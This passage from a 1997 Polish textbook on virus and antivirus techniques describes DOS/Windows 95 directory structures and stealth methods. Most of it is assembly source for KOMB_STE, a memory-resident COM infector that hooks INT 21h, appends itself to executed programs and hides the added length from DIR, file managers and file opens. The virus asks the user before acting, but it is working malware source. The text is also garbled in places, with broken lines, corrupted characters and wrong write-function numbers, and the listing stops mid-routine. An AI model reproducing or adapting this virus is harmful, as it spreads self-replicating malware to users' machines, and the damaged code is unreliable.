szablon poszukiwanych pozycji katalogu   

0C 

atrybuty poszukiwanej pozycji   

0D-0E 

numer wejścia w katalogu 

0F-10 

numer JAP katalogu nadrzędnego 

11-14 

zarezerwowane 

15 

atrybut znalezionej pozycji katalogu 

16-17 

czas ostatniej modyfikacji znalezionej pozycji katalogu 

18-19 

data ostatniej modyfikacji znalezionej pozycji katalogu 

1A-1D 

długość znalezionej pozycji katalogu 

1E-2A 

nazwa i rozszerzenie pliku 

 
7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows 95) oraz 
polecenie DIR wywoływane z poziomu okna Tryb MS-DOS 
Wraz z pojawieniem się systemu Windows 95 wprowadzono tzw. Długie nazwy plików, 
którymi zastąpiono dotychczas używane (jedenastoznakowe). Mechanizm obslugi 
długich nazw plików jest dostępny wyłącznie wtedy, gdy aktywny jest system Windows 
oraz gdy zainstalowany jest tzw. Menedżer IFS. 
Za obsługę długich nazw plików odpowiedzialna jest w systemie DOS funkcja (71??/21), 
gdzie ?? oznacza numer podfunkcji przekazywanej w rejestrze AL. Za pomocą takich 
podfunkcji zdublowano funkcje (z dokładnością do numerów) operujące na plikach, a 
dostępne we wcześniejszych wersjach systemu DOS. Za przeszukiwanie zawartości 
katalogu są więc odpowiedzialne dwie podfunkcje (714E,714F/21), operujące na 
wprowadzonej wraz z systemem Windows 95strukturze o nazwie FindData. Opisane 
funkcje są wykorzystywane m.in. przez polecenie DIR wywoływane w oknie Tryb 
MS-DOS (w systemie Windows 95). 
Aby umożliwić różnym aplikacjom działającym w 32-bitowym środowisku graficznym 
obsługę długich nazw plików, ale bez konieczności odwoływania się do funkcji 
16-

bitowego systemu DOS, Windows 95 udostępnia analogicznie działające funkcje 

poprzez tzw. API (ang. Application Program Interface), odpowiednik przerwania 21h dla 
systemu DOS. 
Kod większości funkcji systemowych dostępnych przez API zawarty jest w pliku 
KERNEL32.DLL, będącym częścią jądra systemu. Na przykład funkcji 714E odpowiada   
funkcja FindFirstFileA, zaś funkcji 714F - funkcja FindNextFileA. Z funkcji tych korzysta 
większość programów działających w systemie Windows 95, m.in. Explorator, a także 
różne programy nakładkowe, np. Wondows Commander 95, tak więc ich przejęcie 
pozwala na użycie techniki stealth również w systemie Windows 95 (na razie nie ma 
wirusa który potrafiłby to robić). Adresy do powyższych funkcji można odczytać z pliku 
KERNEL32.DLL (jest to nowy EXE typu PE), a uzyskane w ten sposób offsety należy 

background image

zmodyfikować poprzez dodanie do ich adresu, pod którym znajduje się KERNEL32.DLL 
w pamięci. Niestety do dzisiaj nie jest znany mechanizm pozwalający na odczytanie 
tego adresu w sposób bezpośredni, bez używania funkcji API. Pierwszy wirus dla 
Windows 95 

(Bizatch lub inaczej Boza) korzysta przy dostępie do funkcji systemowych 

ze stałego adresu, zapamiętanego w wirusie. Ze względu na to, że iż adres ten zmienia 
się w różnych podwersjach systemu Windows 95, należy przed jego użyciem sprawdzić, 
czy rzeczywiście jest on właściwy. 
Opis struktury FindData zamieszczono poniżej. 
Struktura FindData 
Adres 

Zawartość 

00-03 

atrybuty pliku 
      bity 0-

6 standardowe atrybuty plików DOS 

      bit 8 plik tymczasowy (temporary) 

04-0B 

czas i data utworzenia pliku 

0C-13 

czas i data ostatniego dostępu do pliku 

14-1B 

czas i data ostatniej modyfikacji pliku 

1C-1F 

długość pliku (bardziej znaczące 32 bity) 

20-23 

długość pliku (mniej znaczące 32 bity) 

24-2B 

zarezerwowane 

2C-12F 

260-

bajtowe pole pełnej nazwy pliku (jako ASCIIZ) 

130-13D  14-

bajtowe pole krótkiej nazwy pliku (jako ASCIZZ) 

 
7.1.2. Podawanie oryginalnych długości i zawartości plików (ang.full stealth

Aby w pełni oszukiwać system, należy oprócz prawdziwych długości plików podawać 
także ich prawdziwą zawartość. W tym celu oprócz funkcji przeszukujących zawartość 
katalogu trzeba przejąć funkcje służące do manipulowania zawartością plików. 
Najprościej w momencie otwierania pliku leczyć go, a w chwili zamykania - ponownie 
infekować. Powyższa metoda ma jednak kilka niedociągnięć. Główną jej wadą jest to, iż 
nie sprawdzi się ona na pewno na dyskach zabezpieczonych przed zapisem 
(klasycznym przykładem jest tu płyta CD lub zabezpieczona przed zapisem dyskietka). 
Należy też pamiętać, iż użytkownik z pewnością zauważy częste leczenie i ponowną 
infekcję plików, gdyż wszelkie operacje dyskowe będą przebłagały wolniej. 
Powyższych wad nie posiada natomiast metoda polegająca na tym, aby w momencie 
odczytu dowolnego pliku sprawdzać, czy jest to plik zainfekowany i w locie leczyć go w 
pamięci, nie zmieniając jednak jego obrazu na dysku. W efekcie program odczytujący 
plik widzi jego oryginalną zawartość, zaś fizycznie plik nie jest zmieniany. Napisanie 
procedury stosującej powyższą metodę nie jest już jednak zadaniem tak łatwym, jak w 
poprzednim przypadku; należy rozważyć kilka możliwości związanych z położeniem 
wskaźnika zapisu/odczytu w stosunku do początku pliku. Aby uprościć to zadanie, 
często stosuje się zabieg polegający na tym, że przy otwieraniu zainfekowanego pliku 
zmniejsza się w wewnętrznych strukturach DOS (tablica SFT, opisana poniżej) jego 
długość o rozmiar wirusa. Wtedy, jedynym obszarem pliku, którym musi zająć się wirus, 
jest jego początek (np. w przypadku nagłówka plików EXE wirus powinien przywracać 
jego prawdziwą zawartość), gdyż operacje odczytu nigdy nie dojdą do dodanego na 
końcu pliku wirusa. 
Przy programowaniu wirusa wykorzystującego technikę stealth często przydatne są 
dwie wewnętrzne funkcje DOS (1216/1220/2F), służące do operowania na 

background image

wewnętrznych strukturach DOS, tzw. tablicach SFT (ang. System File Table), 
zawierających wszelkie informacje o otwartym pliku. W systemie może istnieć kilka 
podtablic SFT, połączonych w łańcuch. Dostęp do zawartych w nich informacji o pliku 
uzyskuje się na podstawie uchwytu pliku zwracanego przez funkcje (3D,6C/21) przy 
jego otwieraniu. Uchwyt ten podaje się jako parametr funkcji (1216/1220/2F). Po ich 
użyciu najpierw uzyskujemy adres tzw. tablicy JFT (ang. Job File Table), opisującej pliki 
otwarte w dany

m procesie. Na jej podstawie otrzymujemy adres tablicy SFT opisującej 

dany plik. Używa się do tego poniższej sekwencji: 
; Uzyskiwanie informacji o pliku na podstawie jego uchwytu 
MOV AX,1220h            ; weč adres tablicy JFT zawieraj╣cej numer SFT, 
                        ; opisuj╣cej plik podany w BX 
MOV BX,UchwytPliku      ; BX zawiera uchwyt (numer) pliku  
INT 2Fh                 ; wywo│aj funkcjŕ 
MOV BL,ES:[DI]          ; weč numer tablicy SFT 
MOV AX,1216h            ; weč adres tablicy SFT na podstawie numeru w BL  
INT 2Fh                 ; wywo│aj funkcjŕ ES:DI wskazuje na tablicŕ SFT pliku 
 
Jak widać, infekowanie pliku jest możliwe nawet przy jego zamykaniu. Format podtablicy 
SFT podano poniżej: 
Format podtablicy SFT 
Adres 

Zawartość 

00-03 

Wskaźnik do następnej podtablicy   

04 

N - 

liczba plików w podtablicy   

06-40 

 

 

Opis pliku nr 1 w podtablicy - 

patrz następna tablica 

 

Opis pliku nr N w podtablicy 

                                               
Opis pliku zawarty w tablicy SFT 
Adres 

Zawartość 

00-01 

Liczba łączników do pliku   

02-03 

Tryb 

04 

Atrybut pliku   

05-06 

Informacja o pliku 

07-0A 

Wskaźnik do nagłówka programu obsługi lub do bloku DPB   

0B-0C 

Pierwsza JAP pliku   

0D-0E 

Czas ostatniej modyfikacji pliku   

0F-11 

Data ostatniej modyfikacji pliku   

11-14 

Rozmiar pliku   

15-18 

Aktualna pozycja wskaźnika odczytu/zapisu pliku 

19-1A 

Względny numer JAP 

1B-1E 

Położenie elementu katalogu opisującego plik 

20-2A 

Nazwa i rozszerzenie pliku 

2B-2E 

Wskaźnik do poprzedniego elementu SFT (pole programu SHARE) 

2F-30 

Numer komputera w sieci (pole programu SHARE) 

31-32 

Adres właściciela pliku (jego PSP) 

background image

33-34 

Położenie w obszarze roboczym listy zablokowanych regionów pliku                               
(pole programu SHARE) 

35-36 

Numer JAP   

37-3A 

Wskaźnik do IFS pliku lub 00000000h 

 
Zamieszczony poniżej wirus stosuje technikę senii-stealth w odniesieniu do polecenia 
DIR i popularnych nakładek oraz full stealth oparty na tablicach SFT. 
 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                  KOMB_STE v1.0, Autor : Adam Blaszczyk 1997                ; 
;                                                                            ; 
;      Zmodyfikowany wirus KOMBAJN, rozszerzony o technike STEALTH           ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 
;       Informacje Techniczne                                                ; 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;    Wirus oszukuje uzytkownika w nastepujacy sposob :                       ; 
;     _ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za      ; 
;       pomoca polecenia DIR                                                 ; 
;     _ Podaje prawdziwa dlugosc pliku podczas przegladania katalogu za      ; 
;       pomoca nakladek typu Dos Navigator, Norton Commander                 ; 
;     _ Nie pozwala przeczytac koncowej czesci pliku zawierajacej wirusa     ; 
;       (plik jest sztucznie "ucinany" w tablicy SFT )                       ; 
;                                                                            ; 
;    Wirus nie monitoruje odczytow z poczatku pliku, tak wiec w zarazonych   ; 
;    plikach mozna go wykryc poprzez sprawdzenie czy pierwsza instrukcja     ; 
;    programu E9 xx xx wskazuje na koniec pliku. Dodatkowo, poniewaz wirus   ; 
;    informuje o wykonywanych przez siebie operacjach - w momencie wywolania ; 
;    zainfekowanego programu, pojawi sie od niego komunikat mowiacy o tym,   ; 
;    iz wirus jest juz zainstalowany w pamieci.                              ; 
;                                                                            ; 
; Kompilacja :                                                               ; 
;             TASM     KOMB_STE.ASM                                          ; 
;             TLINK /t KOMB_STE.OB J                                         ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 
JUMPS 
KOMB_STE SEGMENT 

background image

        ASSUME CS:KOMB_STE, DS:KOMB_STE 
        ORG 100h 
 
     Haslo     = 0BACAh                    ; \ do sprawdzenia czy wirus jest 
     Odpowiedz = 0CABAh                    ; / juz zainstalowany w pamieci 
 
           NUL = 00h                       ; \ 
           LF  = 0Ah                       ;  - stale znakow 
           CR  = 0Dh                       ; / 
 
  AtrReadOnly  = 00000001b                 ; \ 
  AtrHidden    = 00000010b                 ;  \ 
  AtrSystem    = 00000100b                 ;   \ rozne stale atrybutow 
  AtrVolumeID  = 00001000b                 ;   / pozycji katalogu 
  AtrDirectory = 00010000b                 ;  / 
  AtrArchive   = 00100000b                 ; / 
 
DTAStruc struc                             ; struktura DTA bufora transmisji 
                                           ; dyskowych uzywana przez 
                                           ; funkcje 4E i 4F 
               DTAFill db 21 dup (?)       ; nieistotna czesc struktury 
               DTAAttr db ?                ; atrybut znalezionej pozycji 
               DTATime dw ?                ; czas znalezionej pozycji 
               DTADate dw ?                ; data znalezionej pozycji 
               DTASize dd ?                ; dlugosc znalezionej pozycji 
               DTAName db 13 dup (?)       ; nazwa znalezionej pozycji 
DTAStruc ends 
 
DIRStruc struc 
               DIRDrv      db ?            ; numer napedu 
               DIRName     db 8 dup(?)     ; nazwa znalezionej pozycji 
               DIRExt      db 3 dup(?)     ; rozszerzenie znalezionej pozycji 
               DIRAttr     db ?            ; atrybut znalezionej pozycji 
               DIRRes      db 10 dup(?)    ; zarezerwowane 
               DIRTime     dw ?            ; czas znalezionej pozycji 
               DIRDate     dw ?            ; data znalezionej pozycji 
               DIRStartJAP dw ?            ; poczatkowa JAP znalezionej pozycji 
               DIRSize     dd ?            ; dlugosc znalezionej pozycji 
DIRStruc ends 
 
SFTStruc struc 

background image

               SFTCntHnd   dw ?            ; ile uchwytow do pliku 
               SFTOpMode   dw ?            ; tryb otwarcia pliku 
               SFTAttr     db ?            ; atrybut pliku 
               SFTDevAttr  dw ?            ; informacja o urzadzeniu 
               SFTDevPtr   dd ?            ; adres do naglowka sterownika 
                                           ; lub do DPB 
               SFTStartJAP dw ?            ; poczatkowa JAP pliku 
               SFTTime     dw ?            ; czas pliku 
               SFTDate     dw ?            ; data pliku 
               SFTSize     dd ?            ; dlugosc znalezionej pozycji 
               SFTPos      dd ?            ; wskaznik odczytu/zapisu 
               SFTRes      db 7 dup(?)     ; pola nieistotne 
               SFTName     db 11 dup(?)    ; nazwa + rozszerzenie pliku 
SFTStruc ends 
 
VRok          = 1998                       ; \  data opisujaca 
VMiesiac      = 13                         ;  - pliki juz zainfekowane 
VDzien        = 31                         ; / 
 
VZnacznik     = (VRok-1980)*512+VMiesiac*32+VDzien 
 
DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa) 
DlugoscWPamieci = (DlugoscWirusa +31)/16 
 
Start:                                     ; poczatek wirusa 
 
PoczatekWirusa:                            ; pomocnicza etykieta 
 
    Call  Trik                             ; zapisz na stosie relatywny ofset 
Trik: 
 
    pop   si                               ; zdejmij ze stosu relatywny ofset 
    sub   si,103h                          ; oblicz ofset do poczatku wirusa 
 
    mov   ax,Haslo                         ; \ sprawdz, czy wirus jest 
    int   21h                              ; / juz w pamieci 
 
    cmp   ax,Odpowiedz                     ; \ czy kopia wirusa odpowiedziala ? 
    jne   InstalacjaWPamieci               ; / NIE - zainstaluj 
                                           ; TAK - wypisz komunikat 
    lea   di,TeBylZainstalowany            ;    / 

background image

    call  DrukSI                           ;   / 
    jmp   PowrocDoNosiciela                ; i powroc do nosiciela 
 
InstalacjaWPamieci:                        ; poczatek instalacji 
 
    lea   di,TeCopyRight                   ; \ wyswietl info o wirusie 
    Call  DrukSI                           ; / 
 
    lea   di,TeInstalacja                  ; \  zapytaj uzytkownika, czy chce 
    Call  DrukSI                           ;  \ zainstalowac wirusa w pamieci 
    Call  Decyzja                          ;  / 
    jc    PowrocDoNosiciela                ; /  CF=1 uzytkownik nie chce 
instalowac 
 
    mov   ax,3521h                         ; funkcja DOS - wez adres INT 21 
    int   21h                              ; wywolaj funkcje 
 
    mov   [si][Stare21Seg],es              ; \ zachowaj adres (wirus bedzie go 
    mov   [si][Stare21Ofs],bx              ; / uzywal) 
 
    mov   ax,ds                            ; przywroc ES 
    mov   es,ax                            ; AX=ES=DS=CS=SS=PSP 
 
    dec   ax                               ; AX=ES-1=MCB aktualnego bloku 
pamieci 
    mov   ds,ax                            ; DS=blok MCB aktualnego bloku 
pamieci 
    mov   bx,word ptr ds:[0003h]           ; wez dlugosc bloku pamieci 
    sub   bx,DlugoscWPamieci+1             ; zmniejsz go o dlugosc wirusa 
 
    mov   ah,4Ah                           ; funkcja DOS - zmien rozmiar bloku 
pamieci 
    int   21h                              ; wywolaj funkcje 
 
    mov   bx,DlugoscWPamieci               ; podaj jaki chcesz blok pamieci 
    mov   ah,48h                           ; funkcja DOS - przydzial bloku 
    int   21h                              ; wywolaj funkcje 
    jc    PowrocDoNosiciela                ; CF=1 nie udalo sie przydzielic 
 
    mov   es,ax                            ; ES=wskazuje na przydzielony blok 
    xor   di,di                            ; ES:DI - dokad skopiowac 

background image

    cld                                    ; zwiekszaj SI, DI w REP MOVSB 
 
    push  si                               ; SI bedzie zmieniany wiec zachowaj 
    add   si,offset PoczatekWirusa         ; dodaj skad kopiowac 
    mov   cx,DlugoscWirusa                 ; cx=ile bajtow kopiowac 
    rep   movs byte ptr es:[di], cs:[si]   ; kopiuj z CS:SI do ES:DI, CX bajtow 
    pop   si                               ; przywroc relatywny ofset 
 
    mov   ax,es                            ; pobierz adres do MCB opisujacego 
    dec   ax                               ; blok, w ktorym jest wirus 
    mov   ds,ax                            ; DS=MCB wirusa 
    mov   word ptr ds:[0001h],0008h        ; ustaw MCB wirusa jako systemowy 
    sub   ax,0Fh                           ; \  DS=adres bloku-10h 
    mov   ds,ax                            ;  \ sztuczka, dzieki ktorej mozna 
                                           ;  / odwolywac sie do danych jak w 
                                           ; /  zwyklym programie COM (ORG 100h) 
 
    mov   dx,Offset NoweInt21              ; DX=adres do nowej procedury INT 21h 
    mov   ax,25FFh                         ; funkcja DOS - ustaw adres INT 21 
    int   21h                              ; wywolaj funkcje 
 
    push  cs                               ; \   wyswietl komunikat o 
    pop   ds                               ;  \  instalacji w pamieci 
    lea   di,TeZainstalowany               ;   \ i segment, w ktorym 
    Call  DrukSI                           ;   / rezyduje wirus 
    mov  ax,es                             ;  / 
    Call DrukHEX16                         ; / 
 
PowrocDoNosiciela:                         ; 
    push  cs cs                            ; \ przywroc DS=ES=CS=PSP 
    pop   ds es                            ; / 
 
    mov   al,byte ptr [si][StareBajty]     ; \  przywroc 3 poczatkowe bajty 
    mov   ds:[100h],al                     ;  \ programu pod adresem CS:100h 
    mov   ax,word ptr [si][StareBajty+1]   ;  / 
    mov   ds:[101h],ax                     ; / 
 
    mov   ax,100h                          ; \ zachowaj na stosie slad do 
    push  ax                               ; / adresu 100h 
 
    xor   ax,ax                            ; \   dla bezpieczenstwa 

background image

    xor   bx,bx                            ;  \  lepiej wyzerowac rejestry 
    xor   cx,cx                            ;   \ robocze 
    xor   dx,dx                            ;   / 
    xor   si,si                            ;  / 
    xor   di,di                            ; / 
 
    ret                                    ; powroc do nosiciela 
 
PytanieOInstalacje:                        ; \   odpowiedz rezydujacego 
    xchg  al,ah                            ;   - wirusa (na pytanie czy jest 
    iret                                   ; /   w pamieci) 
 
NoweInt21: 
    cmp   ax,4B00h                         ; czy funkcja DOS - uruchom program ? 
    je    InfekcjaPliku                    ; TAK - sprobuj infekowac 
    cmp   ax,Haslo                         ; czy pytanie wirusa o instalacje ? 
    je    PytanieOInstalacje               ; TAK - odpowiedz, ze zainstalowany 
 
    cmp   ah,11h                           ; \  czy funkcje przeszukiwania ? 
    je    STEALTH_11_12                    ;  \ katalogu uzywane przez 
    cmp   ah,12h                           ;  / polecenie DIR ? 
    je    STEALTH_11_12                    ; /  TAK - oszukuj jesli trzeba 
 
    cmp   ah,4Eh                           ; \  czy funkcje przeszukiwania ? 
    je    STEALTH_4E_4F                    ;  \ katalogu uzywane przez 
    cmp   ah,4Fh                           ;  / nakladki ? 
    je    STEALTH_4E_4F                    ; /  TAK - oszukuj jesli trzeba 
 
    cmp   ah,3Dh 
    je    STEALTH_3D 
 
    jmp   PowrotZInt21                     ; idz do poprzedniego lancucha 
                                           ; przerwan 
 
STEALTH_3D: 
    call  UstawNowe24                      ; ustaw obsluge bledow krytycznych 
 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    STEALTH_3D_Powrot2               ; CF=1 to blad 
 
    pushf                                  ; \ zachowaj wartosci rejestrow 

background image

    push  es ax bx di                      ; / zmienionych przez wywolanie 
 
    mov   bx,ax                            ; BX zawiera uchwyt (numer) pliku 
    mov   ax,1220h                         ; wez adres tablicy JFT 
    int   2Fh                              ; wywolaj funkcje 
    jc    STEALTH_3D_Powrot                ; CF=1 Blad 
 
    mov   bl,es:[di]                       ; wez numer tablicy SFT 
    mov   bh,0                             ; BX=BL 
    mov   ax,1216h                         ; wez adres tablicy SFT na podstawie 
numeru w BL 
    int   2Fh                              ; wywolaj funkcje 
    jc    STEALTH_3D_Powrot                ; CF=1 Blad 
 
    cmp   es:[di][SFTDate],VZnacznik       ; czy znaleziona pozycja jest 
                                           ; zainfekowana ? 
    jne   STEALTH_3D_Powrot                ; NIE - STEALTH niepotrzebne 
 
    cmp   word ptr es:[di][SFTSize+2],0    ; czy dlugosc pliku >65535 ? 
    jne   MozeMiecWirusa_3D                ; TAK - moze byc zainfekowany 
 
    cmp   word ptr es:[di][SFTSize],DlugoscWirusa 
    jb    STEALTH_3D_Powrot                ; czy dlugosc pliku >=dlug. wirus 
                                           ; TAK - moze byc zainfekowany 
                                           ; NIE - STEALTH niepotrzebne 
MozeMiecWirusa_3D: 
    sub   word ptr es:[di][SFTSize],DlugoscWirusa 
                                           ; odejmij dlugosc wirusa 
    sbb   word ptr es:[di][SFTSize+2],0 
                                           ; uwzglednij ewent. pozyczke 
                                           ; z bardziej znaczacej czesci 
STEALTH_3D_Powrot: 
 
    pop   di bx ax es                      ; \ przywroc odpowiednie wartosci 
    popf                                   ; / rejestrow 
 
STEALTH_3D_Powrot2: 
 
    Call  PrzywrocStare24                  ; przywroc stara obsluge bledow 
krytycznych 
 

background image

    retf  2                                ; powrot z zachowaniem ustawionych 
znacznikow 
 
                                           ; ES:DI wskazuje na tablicÓ SFT pliku 
STEALTH_11_12: 
    call  UstawNowe24                      ; ustaw obsluge bledow krytycznych 
 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    or    al,al                            ; CZY AL=0 
    jnz   STEALTH_11_12_Powrot2            ; AL<>0 to blad 
 
    pushf                                  ; \ zachowaj wartosci rejestrow 
    push  es ax bx                         ; / zmienionych przez wywolanie 
 
    mov   ah,2Fh                           ; funkcja DOS - wez adres do DTA 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
 
    cmp   es:[bx][DIRDrv],0FFh             ; czy rozszerzony FCB ? 
    jne   ZwyklyFCB                        ; NIE - zwykly FCB 
 
    add   bx,7                             ; dodaj przesuniecie 
                                           ; teraz ES:BX=wskazuje na zwykly FCB 
ZwyklyFCB: 
 
    cmp   es:[bx][DIRDate],VZnacznik       ; czy znaleziona pozycja jest 
                                           ; zainfekowana ? 
    jne   STEALTH_11_12_Powrot             ; NIE - STEALTH niepotrzebne 
 
    cmp   word ptr es:[bx][DTASize+2],0    ; czy dlugosc pliku >65535 ? 
    jne   MozeMiecWirusa_11_12             ; TAK - moze byc zainfekowany 
 
    cmp   word ptr es:[bx][DTASize],DlugoscWirusa 
    jb    STEALTH_11_12_Powrot             ; czy dlugosc pliku >= dlugosc wirusa 
                                           ; TAK - moze miec wirusa 
                                           ; NIE - STEALTH niepotrzebne 
MozeMiecWirusa_11_12: 
    sub   word ptr es:[bx][DTASize],DlugoscWirusa 
                                           ; odejmij dlugosc wirusa 
    sbb   word ptr es:[bx][DTASize+2],0 
                                           ; uwzglednij ewent. pozyczke 
                                           ; z bardziej znaczacej czesci 

background image

STEALTH_11_12_Powrot: 
 
    pop   bx ax es                         ; \ przywroc odpowiednie wartosci 
    popf                                   ; / rejestrow 
 
STEALTH_11_12_Powrot2: 
 
    Call  PrzywrocStare24                  ; przywroc stara obsluge bledow 
krytycznych 
 
    retf  2                                ; powrot z zachowaniem ustawionych 
znacznikow 
 
STEALTH_4E_4F: 
    call  UstawNowe24                      ; ustaw obsluge bledow krytycznych 
 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    STEALTH_4E_4F_Powrot2            ; CF=1 to blad 
 
    pushf                                  ; \ zachowaj wartosci rejestrow 
    push  es ax bx                         ; / zmienionych przez wywolanie 
 
    mov   ah,2Fh                           ; funkcja DOS - wez adres do DTA 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
 
    cmp   es:[bx][DTADate],VZnacznik       ; czy znaleziona pozycja jest 
                                           ; zainfekowana ? 
    jne   STEALTH_4E_4F_Powrot             ; NIE - STEALTH niepotrzebne 
 
    cmp   word ptr es:[bx][DTASize+2],0    ; czy dlugosc pliku >65535 ? 
    jne   MozeMiecWirusa_4E_4F             ; TAK - moze byc zainfekowany 
 
    cmp   word ptr es:[bx][DTASize],DlugoscWirusa 
    jb    STEALTH_4E_4F_Powrot             ; czy dlugosc pliku >=dlug. wirusa 
                                           ; TAK - moze byc zainfekowany 
                                           ; NIE - STEALTH niepotrzebne 
MozeMiecWirusa_4E_4F: 
    sub   word ptr es:[bx][DTASize],DlugoscWirusa 
                                           ; odejmij dlugosc wirusa 
    sbb   word ptr es:[bx][DTASize+2],0 
                                           ; uwzglednij ewent. pozyczke 

background image

                                           ; z bardziej znaczacej czesci 
STEALTH_4E_4F_Powrot: 
 
    pop   bx ax es                         ; \ przywroc odpowiednie wartosci 
    popf                                   ; / rejestrow 
 
STEALTH_4E_4F_Powrot2: 
 
    Call  PrzywrocStare24                  ; przywroc stara obsluge bledow 
krytycznych 
 
    retf  2                                ; powrot z zachowaniem ustawionych 
znacznikow 
 
InfekcjaPliku: 
    push  es ds ax bx cx dx si di          ; zachowaj zmieniane rejestry 
 
    mov   cs:StaryDS, ds                   ; \ zachowaj adres do nazwy pliku 
    mov   cs:StaryDX, dx                   ; / 
 
    call  UstawNowe24 
 
    mov   ax,4300h                         ; funkcja DOS - czytaj atrybut 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    PrzywrocAtrybut                  ; CF=1 blad wiec powrot 
 
    mov   cs:Atrybut,cl                    ; wez stary atrybut 
 
    mov   ax,4301h                         ; funkcja DOS - zapisz atrybut 
    mov   cx,AtrArchive                    ; podaj nowy atrybut : Archive 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    PrzywrocAtrybut 
 
    mov   ax,3D02h                         ; funkcja DOS - otworz plik 
                                           ; do odczytu i zapisu 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad 
 
    xchg  ax,bx                            ; przenies uchwyt pliku do BX 
 
    mov   ax,5700h                         ; funkcja DOS - wpisz date, czas 

background image

    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    mov   cs:Czas,cx                       ; zachowaj czas pliku na pozniej 
 
    cmp   dx,VZnacznik                     ; czy plik jest juz zainfekowany ? 
    je    ZamknijPlik                      ; TAK - zamknij plik, powrot 
 
    push  cs                               ; \ DS=CS=segment wirusa 
    pop   ds                               ; / 
 
    mov   cx,3                             ; ilosc czytanych bajtow 
    lea   dx,StareBajty                    ; podaj dokad czytac 3 bajty 
    mov   ah,3Fh                           ; funkcja DOS - czytaj z pliku 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   ax,word ptr [StareBajty]         ; wez dwa pierwsze bajty pliku 
    cmp   ax,'MZ'                          ; i sprawdz, czy to nie EXE 
    je    ZamknijPlik                      ; gdy 'MZ' to plik EXE, powrot 
    cmp   ax,'ZM'                          ; 
    je    ZamknijPlik                      ; gdy 'ZM' to plik EXE, powrot 
 
    xor   cx,cx                            ; \ zeruj CX:DX zawierajace 
    xor   dx,dx                            ; / adres wzgledem konca pliku 
    mov   ax,4202h                         ; funkcja DOS - zmien wskaznik 
                                           ; odczytu/zapisu na koniec pliku 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
                                           ; DX = starsza czesc dlugosci pliku 
    or    dx,dx                            ; czy plik krotszy niz 65536 ? 
    jnz   ZamknijPlik                      ; NIE - nie infekuj 
 
    cmp   ax,64000                         ; czy dlugosc <= 64000 ? 
    ja    ZamknijPlik                      ; NIE - nie infekuj 
 
    cmp   ax,3                             ; czy dlugosc >= 3 ? 
    jb    ZamknijPlik                      ; NIE - nie infekuj 
 
    sub   ax,3                             ; odejmij dlugosc skoku E9 ?? ?? 
    mov   word ptr [Skok+1],ax             ; zapisz do bufora rozkaz skoku 
 

background image

    lea   di,TeZnalazlemPlik               ; \       zapytaj uzytkownika 
    Call  Druk                             ;  \      czy chce zainfekowac 
                                           ;   \     plik 
    mov   di,cs:StaryDX                    ;    \    nazwa pliku jest 
    mov   ds,cs:StaryDS                    ;     \   wyswietlana 
    Call  Druk                             ;      \ 
                                           ;       - (dzieki temu uzytkownik 
    push  cs                               ;      /   ma pelna kontrole nad 
    pop   ds                               ;     /    tym co wirus infekuje) 
    lea   di,TeInfekcja                    ;    / 
    Call  Druk                             ;   / 
    Call  Decyzja                          ;  / 
    jc    ZamknijPlik                      ; /       CF=1 uzytkownik nie pozwala 
 
    mov   cx,DlugoscWirusa                 ; ilosc zapisywanych bajtow 
    mov   dx,100h                          ; podaj skad zapisac wirusa 
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    xor   cx,cx                            ; \ zeruj CX:DX zawierajace 
    xor   dx,dx                            ; / adres wzgledem poczatku pliku 
    mov   ax,4200h                         ; funkcja DOS - zmien wskaznik 
                                           ; odczytu/zapisu na poczatek pliku 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    ZamknijPlik                      ; gdy CF=1 to blad 
 
    mov   cx,3                             ; ilosc zapisywanych bajtow 
    lea   dx,Skok                          ; podaj skad zapisac rozkaz skoku 
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   cx,Czas                          ; przywroc czas 
    mov   dx,VZnacznik                     ; zaznacz w dacie infekcje pliku 
    mov   ax,5701h                         ; funkcja DOS - wpisz date, czas 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
 
ZamknijPlik: 
    mov   ah,3Eh                           ; funkcja DOS - zamknij plik 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 

background image

 
PrzywrocAtrybut: 
    mov   cl,cs:Atrybut                    ; podaj stary atrybut 
    mov   ch,0                             ; CX=CL 
    mov   dx,cs:StaryDX                    ; \ podaj nazwe pliku do zmiany 
    mov   ds,cs:StaryDS                    ; / w DS:DX 
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut 
    Call  StareInt21                       ; wywolaj stare przerwanie 21h 
 
    Call  PrzywrocStare24 
 
    pop   di si dx cx bx ax ds es          ; przywroc zmieniane rejestry 
 
PowrotZInt21: 
    db 0EAh                                ; mnemonik rozkazu skoku JMP FAR 
    Stare21Ofs dw ?                        ; z tych pol korzysta skok 
    Stare21Seg dw ?                        ; aby oddac sterowanie do poprzedniego 
                                           ; elementu lancucha przerwan INT 21 
 
StareInt21: 
    pushf                                  ; \ symuluj  wywolanie przerwania 
    Call dword ptr cs:[Stare21Ofs]         ; / wyowlaj stare przerwanie 
 
